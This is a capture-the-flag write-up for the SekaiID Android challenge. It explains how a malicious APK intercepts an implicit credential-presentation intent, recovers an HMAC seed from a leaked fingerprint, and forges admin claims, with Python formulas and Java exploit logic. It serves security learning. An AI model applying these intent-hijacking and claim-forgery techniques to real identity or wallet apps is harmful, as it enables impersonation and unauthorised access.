SekaiID
SekaiID
Platform: sekai2026 | Category: Mobile | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-27 | Status: Solved Techniques: android_ipc_abuse, credential_claim_forgery, hmac_forgery, implicit_intent_interception, native_library_reversal
Summary
Task: Android credential-verifier setup with SekaiID.apk, Verifier.apk, and an ADB TLS proxy. Solution: intercept the implicit presentation intent, recover the HMAC seed from the public fingerprint, forge admin claims, and return a valid presentation.
SekaiID — sekai2026
Description
Original task description was not present in the local notes. The distributed setup contained
SekaiID.apk,Verifier.apk, andtls_proxy.pyfor accessing the Android instance over ADB.
English summary: SekaiID.apk is a wallet/credential provider and Verifier.apk asks it for a conference badge presentation. The goal is to make the verifier accept an administrator credential and read the flag from the admin dashboard.
Analysis
Static analysis of the manifests showed the important IPC surface:
com.sekai.id.IdentityProviderActivityis exported and handlescom.sekai.id.ACTION_PRESENT_CREDENTIAL.com.sekai.id.share.BadgeShareActivityis exported and handlescom.sekai.id.ACTION_SHARE_BADGEforcontent://com.sekai.id.companion/...URIs.com.sekai.id.companion.CompanionInfoProvideris exported ascontent://com.sekai.id.companion.infoand leaks public badge metadata.com.sekai.id.companion.CompanionProvideris not exported, but grants URI access throughBadgeShareActivity.Verifier.apkqueries forACTION_PRESENT_CREDENTIALwith an implicit intent, so a malicious APK can register the same action and be selected as the credential provider.
The native library libsekaibind.so was the key weakness. Its JNI wrappers return 32-byte values that Kotlin Base64-encodes without wrapping. The constants and formulas are:
python read-only • copy allowedSEP = b"\x1f" DOM_BIND = b"SEKAI-ID:credential-binding:v2" DOM_FP = b"pairing-fingerprint:v2" DOM_CLAIMS = b"claims-tag" DOM_AUTH = b"request-auth" ks = SHA256(DOM_FP + SEP + credentialId + SEP + holderPublicKey) pairingFingerprint = seed32 XOR ks bindingKey = HMAC_SHA256(seed32, DOM_BIND + SEP + credentialId + SEP + holderPublicKey) claimsTag = HMAC_SHA256(bindingKey, DOM_CLAIMS + SEP + canonicalClaims) requestAuth = HMAC_SHA256(bindingKey, DOM_AUTH + SEP + challenge)
Because CompanionInfoProvider exposes credentialId, holderPublicKey, and pairingFingerprint, the supposedly secret seed can be recovered:
python read-only • copy allowedseed32 = pairingFingerprint XOR SHA256(DOM_FP + SEP + credentialId + SEP + holderPublicKey)
That recovered seed is enough to compute both the requestAuth needed to ask the wallet for a real presentation and a new claimsTag for modified claims.
Solution
The exploit APK implements an activity with an intent filter for com.sekai.id.ACTION_PRESENT_CREDENTIAL. When Verifier starts a scan, Android offers the exploit as a credential provider.
Exploitation flow:
-
Receive the verifier challenge from
com.sekai.id.extra.CHALLENGE. -
Query
content://com.sekai.id.companion.info/pubkeyfor the holder public key. -
Query
content://com.sekai.id.companion.info/badgeforcredentialIdandfingerprint. -
Recover
seed32from the public fingerprint formula. -
Compute
requestAuth = HMAC(bindingKey, b"request-auth" + SEP + challenge). -
Start the real
BadgeShareActivitywith:text read-only • copy allowedcontent://com.sekai.id.companion/badge?challenge=<challenge>&auth=<requestAuth>This returns a granted URI to
CompanionProviderand yields a valid presentation/proof. -
Parse the JSON presentation, change:
json read-only • copy allowed{"accessProfile":"admin","department":"administration","credentialTier":"platinum"} -
Canonicalize the claims exactly as the verifier expects:
json read-only • copy allowed{"accessProfile":"admin","department":"administration","credentialTier":"platinum"} -
Recompute
claimsTag = HMAC(bindingKey, b"claims-tag" + SEP + canonicalClaims). -
Return the forged presentation in
com.sekai.id.extra.PRESENTATIONwithRESULT_OK.
The proof did not need to be re-signed: it remained a valid proof for the original credentialId and challenge. The verifier trusted the recomputed claimsTag for the revealed claims, and that tag was forgeable after recovering seed32.
Core exploit logic:
java read-only • copy allowedbyte[] ks = sha256(concat(DOM_FP, SEP, utf8(credentialId), SEP, utf8(publicKey))); byte[] seed = xor(Base64.decode(fingerprint, Base64.NO_WRAP), ks); byte[] bindingKey = hmac(seed, concat(DOM_BIND, SEP, utf8(credentialId), SEP, utf8(publicKey))); String requestAuth = b64(hmac(bindingKey, concat(DOM_AUTH, SEP, utf8(challenge)))); // After obtaining the legitimate presentation via BadgeShareActivity: claims.put("accessProfile", "admin"); claims.put("department", "administration"); claims.put("credentialTier", "platinum"); String canon = "{\"accessProfile\":\"admin\",\"department\":\"administration\",\"credentialTier\":\"platinum\"}"; presentation.put("claimsTag", b64(hmac(bindingKey, concat(DOM_CLAIMS, SEP, canon.getBytes(UTF_8)))));
Finally, I connected to the instance through tls_proxy.py, installed the built exploit.apk, opened Verifier, started the verification flow, selected SEKAI ID Exploit in the chooser, and Verifier opened the administrator dashboard. The dashboard displayed /system/flag.txt.